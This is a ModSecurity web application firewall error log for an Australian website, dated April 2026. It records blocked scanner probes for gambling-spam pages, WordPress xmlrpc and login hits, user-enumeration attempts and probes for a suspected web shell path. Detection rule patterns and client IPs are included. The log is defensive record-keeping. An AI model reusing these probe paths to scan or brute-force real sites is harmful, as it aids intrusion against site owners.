[Tue Apr 07 01:14:05.927442 2026] [:error] [pid 39328:tid 39344] [client 38.242.226.127:55962] [client 38.242.226.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20demo.aspx"] [unique_id "adPp3ThTc4A7DPq5yJhZSwAAAAw"]
[Tue Apr 07 01:14:08.423005 2026] [:error] [pid 39748:tid 39770] [client 38.242.226.127:33554] [client 38.242.226.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "adPp4Cgic31vPbqmSIqprAAAAM8"]
[Tue Apr 07 01:14:10.967825 2026] [:error] [pid 39328:tid 39351] [client 38.242.226.127:33558] [client 38.242.226.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "adPp4jhTc4A7DPq5yJhZWwAAABM"]
[Tue Apr 07 01:14:13.563596 2026] [:error] [pid 39748:tid 39772] [client 38.242.226.127:33570] [client 38.242.226.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "adPp5Sgic31vPbqmSIqpvwAAANE"]
[Tue Apr 07 01:14:16.087682 2026] [:error] [pid 39748:tid 39768] [client 38.242.226.127:36646] [client 38.242.226.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "adPp6Cgic31vPbqmSIqp0AAAAM0"]
[Tue Apr 07 01:14:18.763767 2026] [:error] [pid 39748:tid 39772] [client 38.242.226.127:36658] [client 38.242.226.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "adPp6igic31vPbqmSIqp1gAAANE"]
[Tue Apr 07 01:14:21.459225 2026] [:error] [pid 39748:tid 39765] [client 38.242.226.127:36666] [client 38.242.226.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "adPp7Sgic31vPbqmSIqp4AAAAMo"]
[Tue Apr 07 01:14:24.069761 2026] [:error] [pid 39748:tid 39764] [client 38.242.226.127:36682] [client 38.242.226.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "adPp8Cgic31vPbqmSIqp7wAAAMk"]
[Tue Apr 07 01:15:09.304596 2026] [:error] [pid 55003:tid 55008] [client 38.242.226.127:47898] [client 38.242.226.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "adPqHQiMyAbcUkWpJeDj7gAAAQE"]
[Tue Apr 07 01:15:11.853399 2026] [:error] [pid 39328:tid 39342] [client 38.242.226.127:44260] [client 38.242.226.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "adPqHzhTc4A7DPq5yJhZwQAAAAo"]
[Tue Apr 07 01:15:14.706186 2026] [:error] [pid 39748:tid 39777] [client 38.242.226.127:44276] [client 38.242.226.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "adPqIigic31vPbqmSIqqywAAANY"]
[Tue Apr 07 01:15:17.258935 2026] [:error] [pid 39748:tid 39778] [client 38.242.226.127:44462] [client 38.242.226.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "adPqJSgic31vPbqmSIqq0QAAANc"]
[Tue Apr 07 01:15:19.806593 2026] [:error] [pid 55003:tid 55025] [client 38.242.226.127:44468] [client 38.242.226.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "adPqJwiMyAbcUkWpJeDkGAAAARI"]
[Tue Apr 07 01:15:22.500776 2026] [:error] [pid 39748:tid 39774] [client 38.242.226.127:44484] [client 38.242.226.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20168.aspx"] [unique_id "adPqKigic31vPbqmSIqq2gAAANM"]
[Tue Apr 07 01:15:25.127555 2026] [:error] [pid 39748:tid 39761] [client 38.242.226.127:44492] [client 38.242.226.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "adPqLSgic31vPbqmSIqq3wAAAMY"]
[Tue Apr 07 01:15:27.636428 2026] [:error] [pid 55003:tid 55021] [client 38.242.226.127:57704] [client 38.242.226.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "adPqLwiMyAbcUkWpJeDkLQAAAQ4"]
[Tue Apr 07 01:15:30.234632 2026] [:error] [pid 39328:tid 39341] [client 38.242.226.127:57712] [client 38.242.226.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "adPqMjhTc4A7DPq5yJhZ3QAAAAk"]
[Tue Apr 07 01:15:32.687563 2026] [:error] [pid 39328:tid 39350] [client 38.242.226.127:57718] [client 38.242.226.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "adPqNDhTc4A7DPq5yJhZ5QAAABI"]
[Tue Apr 07 01:15:35.516119 2026] [:error] [pid 39328:tid 39350] [client 38.242.226.127:57720] [client 38.242.226.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "adPqNzhTc4A7DPq5yJhZ8wAAABI"]
[Tue Apr 07 01:15:37.982351 2026] [:error] [pid 39748:tid 39778] [client 38.242.226.127:42454] [client 38.242.226.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "adPqOSgic31vPbqmSIqq8gAAANc"]
[Tue Apr 07 01:15:40.585362 2026] [:error] [pid 39748:tid 39757] [client 38.242.226.127:42468] [client 38.242.226.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "adPqPCgic31vPbqmSIqq_wAAAMI"]
[Tue Apr 07 01:15:43.209132 2026] [:error] [pid 55003:tid 55023] [client 38.242.226.127:42478] [client 38.242.226.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "adPqPwiMyAbcUkWpJeDkZQAAARA"]
[Tue Apr 07 01:15:45.829183 2026] [:error] [pid 39748:tid 39761] [client 38.242.226.127:42482] [client 38.242.226.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "adPqQSgic31vPbqmSIqrBgAAAMY"]
[Tue Apr 07 01:15:48.515864 2026] [:error] [pid 55003:tid 55007] [client 38.242.226.127:51208] [client 38.242.226.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "adPqRAiMyAbcUkWpJeDkiAAAAQA"]
[Tue Apr 07 01:15:51.201717 2026] [:error] [pid 39329:tid 39421] [client 38.242.226.127:51222] [client 38.242.226.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "adPqR1b3ztKMBQDfFByfcQAAAFM"]
[Tue Apr 07 01:15:53.808602 2026] [:error] [pid 55003:tid 55031] [client 38.242.226.127:51230] [client 38.242.226.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "adPqSQiMyAbcUkWpJeDkogAAARg"]
[Tue Apr 07 01:15:56.561043 2026] [:error] [pid 39330:tid 39430] [client 38.242.226.127:39848] [client 38.242.226.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "adPqTHXef-xW6Zktbj-tGQAAAIA"]
[Tue Apr 07 01:15:59.085293 2026] [:error] [pid 39330:tid 39431] [client 38.242.226.127:39850] [client 38.242.226.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "adPqT3Xef-xW6Zktbj-tJQAAAIE"]
[Tue Apr 07 01:16:01.643798 2026] [:error] [pid 39328:tid 39337] [client 38.242.226.127:39852] [client 38.242.226.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w69%20slot.aspx"] [unique_id "adPqUThTc4A7DPq5yJhaHQAAAAU"]
[Tue Apr 07 01:16:04.417697 2026] [:error] [pid 55003:tid 55031] [client 38.242.226.127:39868] [client 38.242.226.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "adPqVAiMyAbcUkWpJeDkuQAAARg"]
[Tue Apr 07 01:53:44.698331 2026] [:error] [pid 55003:tid 55020] [client 122.51.236.174:33082] [client 122.51.236.174] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "adPzKAiMyAbcUkWpJeAB_wAAAQ0"]
[Tue Apr 07 07:04:57.350504 2026] [:error] [pid 37597:tid 37650] [client 43.159.136.201:60440] [client 43.159.136.201] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "adQ8GQ6uAY0QAy-8EEJk2QAAAFA"]
[Tue Apr 07 07:29:13.572839 2026] [:error] [pid 37597:tid 37635] [client 185.241.208.46:62875] [client 185.241.208.46] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.241.208.46, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "adRByQ6uAY0QAy-8EEJt-wAAAEE"]
[Tue Apr 07 07:29:16.465009 2026] [:error] [pid 37597:tid 37656] [client 185.241.208.46:62875] [client 185.241.208.46] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.241.208.46, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "adRBzA6uAY0QAy-8EEJuAwAAAFY"]
[Tue Apr 07 07:29:22.135575 2026] [:error] [pid 37597:tid 37635] [client 185.241.208.46:62875] [client 185.241.208.46] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "adRB0g6uAY0QAy-8EEJuDQAAAEE"]
[Tue Apr 07 07:29:26.134161 2026] [:error] [pid 37597:tid 37635] [client 185.241.208.46:62875] [client 185.241.208.46] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.241.208.46, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "adRB1g6uAY0QAy-8EEJuGgAAAEE"]
[Tue Apr 07 07:29:26.136061 2026] [:error] [pid 37597:tid 37635] [client 185.241.208.46:62875] [client 185.241.208.46] ModSecurity: XML parser error: XML: Failed parsing document. [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "adRB1g6uAY0QAy-8EEJuGgAAAEE"]
[Tue Apr 07 07:29:26.137571 2026] [:error] [pid 37597:tid 37635] [client 185.241.208.46:62875] [client 185.241.208.46] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "27"] [id "210230"] [rev "2"] [msg "COMODO WAF: The request body could not be parsed. Possibility of an impedance mismatch attack. This is not a false positive.||vetstars.com.au|F|2"] [data "XML parser error: XML: Failed parsing document."] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "adRB1g6uAY0QAy-8EEJuGgAAAEE"]
[Tue Apr 07 07:29:29.834658 2026] [:error] [pid 12948:tid 12953] [client 185.241.208.46:57807] [client 185.241.208.46] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.241.208.46, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "adRB2cbeSPAN8LvMqsZuhgAAAQI"]
[Tue Apr 07 07:29:29.836250 2026] [:error] [pid 12948:tid 12953] [client 185.241.208.46:57807] [client 185.241.208.46] ModSecurity: XML parser error: XML: Failed parsing document. [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "adRB2cbeSPAN8LvMqsZuhgAAAQI"]
[Tue Apr 07 07:29:29.837526 2026] [:error] [pid 12948:tid 12953] [client 185.241.208.46:57807] [client 185.241.208.46] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "27"] [id "210230"] [rev "2"] [msg "COMODO WAF: The request body could not be parsed. Possibility of an impedance mismatch attack. This is not a false positive.||vetstars.com.au|F|2"] [data "XML parser error: XML: Failed parsing document."] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "adRB2cbeSPAN8LvMqsZuhgAAAQI"]
[Tue Apr 07 07:29:33.380839 2026] [:error] [pid 12948:tid 12965] [client 185.241.208.46:64989] [client 185.241.208.46] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.241.208.46, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "adRB3cbeSPAN8LvMqsZulAAAAQ4"]
[Tue Apr 07 07:29:38.005116 2026] [:error] [pid 37719:tid 37729] [client 185.241.208.46:57690] [client 185.241.208.46] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.241.208.46, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "adRB4k09Xv52u2xXGLBpBAAAAMc"], referer: https://vetstars.com.au//wp-login.php
[Tue Apr 07 09:11:11.610254 2026] [:error] [pid 12948:tid 12957] [client 194.26.192.92:64233] [client 194.26.192.92] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/widgets/txets.php"] [unique_id "adRZr8beSPAN8LvMqsbYTAAAAQY"]
[Tue Apr 07 09:11:12.091703 2026] [:error] [pid 12948:tid 12974] [client 194.26.192.92:64330] [client 194.26.192.92] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/rest-api/txets.php"] [unique_id "adRZsMbeSPAN8LvMqsbYUAAAARc"]
[Tue Apr 07 09:11:12.577465 2026] [:error] [pid 37719:tid 37726] [client 194.26.192.92:64393] [client 194.26.192.92] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/post-template/txets.php"] [unique_id "adRZsE09Xv52u2xXGLCsxQAAAMQ"]
[Tue Apr 07 09:11:15.294082 2026] [:error] [pid 12948:tid 12955] [client 194.26.192.92:64942] [client 194.26.192.92] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/txets.php"] [unique_id "adRZs8beSPAN8LvMqsbYXwAAAQQ"]
[Tue Apr 07 10:04:25.397944 2026] [:error] [pid 37596:tid 37612] [client 147.135.252.145:56064] [client 147.135.252.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "adRmKapaAOZHEjRWjP1GSgAAAAY"]
[Tue Apr 07 10:04:28.179086 2026] [:error] [pid 37719:tid 37741] [client 147.135.252.145:34824] [client 147.135.252.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "adRmLE09Xv52u2xXGLDLyQAAANM"]
[Tue Apr 07 10:04:30.736390 2026] [:error] [pid 12948:tid 12968] [client 147.135.252.145:34832] [client 147.135.252.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "adRmLsbeSPAN8LvMqsYHeAAAARE"]
[Tue Apr 07 10:04:33.374547 2026] [:error] [pid 37597:tid 37637] [client 147.135.252.145:46444] [client 147.135.252.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "adRmMQ6uAY0QAy-8EEKqSwAAAEM"]
[Tue Apr 07 10:04:35.956046 2026] [:error] [pid 37598:tid 37678] [client 147.135.252.145:46448] [client 147.135.252.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "adRmM-9g7q_cV2WhPaz3SAAAAJE"]
[Tue Apr 07 10:04:38.407506 2026] [:error] [pid 12948:tid 12963] [client 147.135.252.145:46452] [client 147.135.252.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "adRmNsbeSPAN8LvMqsYHmAAAAQw"]
[Tue Apr 07 10:04:40.869183 2026] [:error] [pid 37597:tid 37637] [client 147.135.252.145:46466] [client 147.135.252.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "adRmOA6uAY0QAy-8EEKqUwAAAEM"]
